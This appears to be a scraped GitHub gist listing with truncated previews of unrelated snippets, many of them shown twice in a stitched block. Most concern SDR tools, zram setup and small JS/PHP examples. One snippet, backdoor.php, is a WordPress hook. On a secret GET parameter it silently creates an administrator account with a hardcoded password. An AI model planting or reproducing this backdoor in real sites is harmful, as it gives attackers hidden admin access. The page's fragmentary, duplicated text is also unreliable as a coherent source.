Federico Saccà Rotron

## Godot 3 Networking Links
https://mrminimal.gitlab.io/2018/07/26/godot-dedicated-server-tutorial.html

## zram_install_instructions.txt

sudo wget -O /usr/bin/zram.sh https://raw.githubusercontent.com/novaspirit/rpi_zram/master/zram.sh
sudo chmod +x /usr/bin/zram.sh
sudo chmod +x /usr/bin/zram.sh
sudo nano /lib/systemd/system/zram.service
   ---- copy below to the file you just nano'd
  [Unit]
 Description=Enables zram
 After=multi-user.target

## backdoor.php
<?php
add_action( 'wp_head', 'my_backdoor' );

function my_backdoor() {
    if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'mr_admin' ) ) {
            $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' );

## play raw file
play -t raw -e signed -c 1 -b 32 -r 44100 test

## building gqrx with brew.md

      
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                Rotron
                / building gqrx with brew.md
            
            
              Created
              February 10, 2019 23:01
                — forked from sigsergv/building gqrx with brew.md
            
          
    Overview

This document describes how to compile GQRX using native OSX Qt 5 and libraries from brew.
Requierements

Skip any part if you have corresponding component already installed.
Mac OS X 10.10 Yosemite


## gist:0ec632e326a526c11c5a1dc8ddf2ed69
Once you have found some TETRA signals, record their frequencies. Now close SDR#, or whatever software you were using and boot into Linux. In this tutorial we use a 32-bit Ubuntu 14.04 virtual machine running on VMWare Player as our Linux system. Some of the commands may vary if you are using a different system.


Install the software
Note: There is now a telive live Linux image available. This will allow you to boot via a USB drive straight into a Linux OS with telive preinstalled. If you want the easy way out, or have trouble with the install script below, then try this image.

Note 2: As of October 2016 there is now a Windows port of the Telive decoding software available. This may be an option for you if you prefer to run in Windows. More information here.

This install script will automatically download the software and all the required prequisites including the RTL-SDR drivers. If you have problems consult the documentation or try a manual install. Instructions for the manual install are shown at the en

## chattervox_install_macos.md

      
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                Rotron
                / chattervox_install_macos.md
            
            
              Created
              March 8, 2019 12:08
                — forked from danc256/chattervox_install_macos.md
            
              
                Chattervox Install Instructions
              
          
    Chattervox on MacOS

Install Direwolf

The official Direwolf User Manual uses MacPorts to manage installation and dependencies.
I don't particularly like MacPorts, so here are some instructions for installing Direwolf via Homebrew.
Install Direwolf via Homebrew


## index.js
var crypto = require('crypto');
var fs = require('fs');
var wstream = fs.createWriteStream('myBinaryFile');
// creates random Buffer of 100 bytes
var buffer = crypto.randomBytes(100);
wstream.write(buffer);
// create another Buffer of 100 bytes and write
wstream.write(crypto.randomBytes(100));
wstream.end();

## latlong_to_locator.php
<?php

// Example Lat/Long aka IO91js
$latitude = "51.756435";
$longitude = "-1.246042";

echo latlong_to_locator($latitude, $longitude);

function latlong_to_locator ($latitude, $longitude) {

## server.php
#!/usr/local/bin/php -q
<?php

//a little bit of fun with a socket server
error_reporting(E_ALL);
/* Allow the script to hang around waiting for connections. */
set_time_limit(0);
/* Turn on implicit output flushing so we see what we're getting
 * as it comes in. */
ob_implicit_flush();

	sudo wget -O /usr/bin/zram.sh https://raw.githubusercontent.com/novaspirit/rpi_zram/master/zram.sh
	sudo chmod +x /usr/bin/zram.sh
	sudo chmod +x /usr/bin/zram.sh
	sudo nano /lib/systemd/system/zram.service
	---- copy below to the file you just nano'd
	[Unit]
	Description=Enables zram
	After=multi-user.target
	<?php
	add_action( 'wp_head', 'my_backdoor' );

	function my_backdoor() {
	if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
	require( 'wp-includes/registration.php' );
	if ( !username_exists( 'mr_admin' ) ) {
	$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
	$user = new WP_User( $user_id );
	$user->set_role( 'administrator' );
	Once you have found some TETRA signals, record their frequencies. Now close SDR#, or whatever software you were using and boot into Linux. In this tutorial we use a 32-bit Ubuntu 14.04 virtual machine running on VMWare Player as our Linux system. Some of the commands may vary if you are using a different system.


	Install the software
	Note: There is now a telive live Linux image available. This will allow you to boot via a USB drive straight into a Linux OS with telive preinstalled. If you want the easy way out, or have trouble with the install script below, then try this image.

	Note 2: As of October 2016 there is now a Windows port of the Telive decoding software available. This may be an option for you if you prefer to run in Windows. More information here.

	This install script will automatically download the software and all the required prequisites including the RTL-SDR drivers. If you have problems consult the documentation or try a manual install. Instructions for the manual install are shown at the en
	var crypto = require('crypto');
	var fs = require('fs');
	var wstream = fs.createWriteStream('myBinaryFile');
	// creates random Buffer of 100 bytes
	var buffer = crypto.randomBytes(100);
	wstream.write(buffer);
	// create another Buffer of 100 bytes and write
	wstream.write(crypto.randomBytes(100));
	wstream.end();
	<?php

	// Example Lat/Long aka IO91js
	$latitude = "51.756435";
	$longitude = "-1.246042";

	echo latlong_to_locator($latitude, $longitude);

	function latlong_to_locator ($latitude, $longitude) {
	#!/usr/local/bin/php -q
	<?php

	//a little bit of fun with a socket server
	error_reporting(E_ALL);
	/* Allow the script to hang around waiting for connections. */
	set_time_limit(0);
	/* Turn on implicit output flushing so we see what we're getting
	* as it comes in. */
	ob_implicit_flush();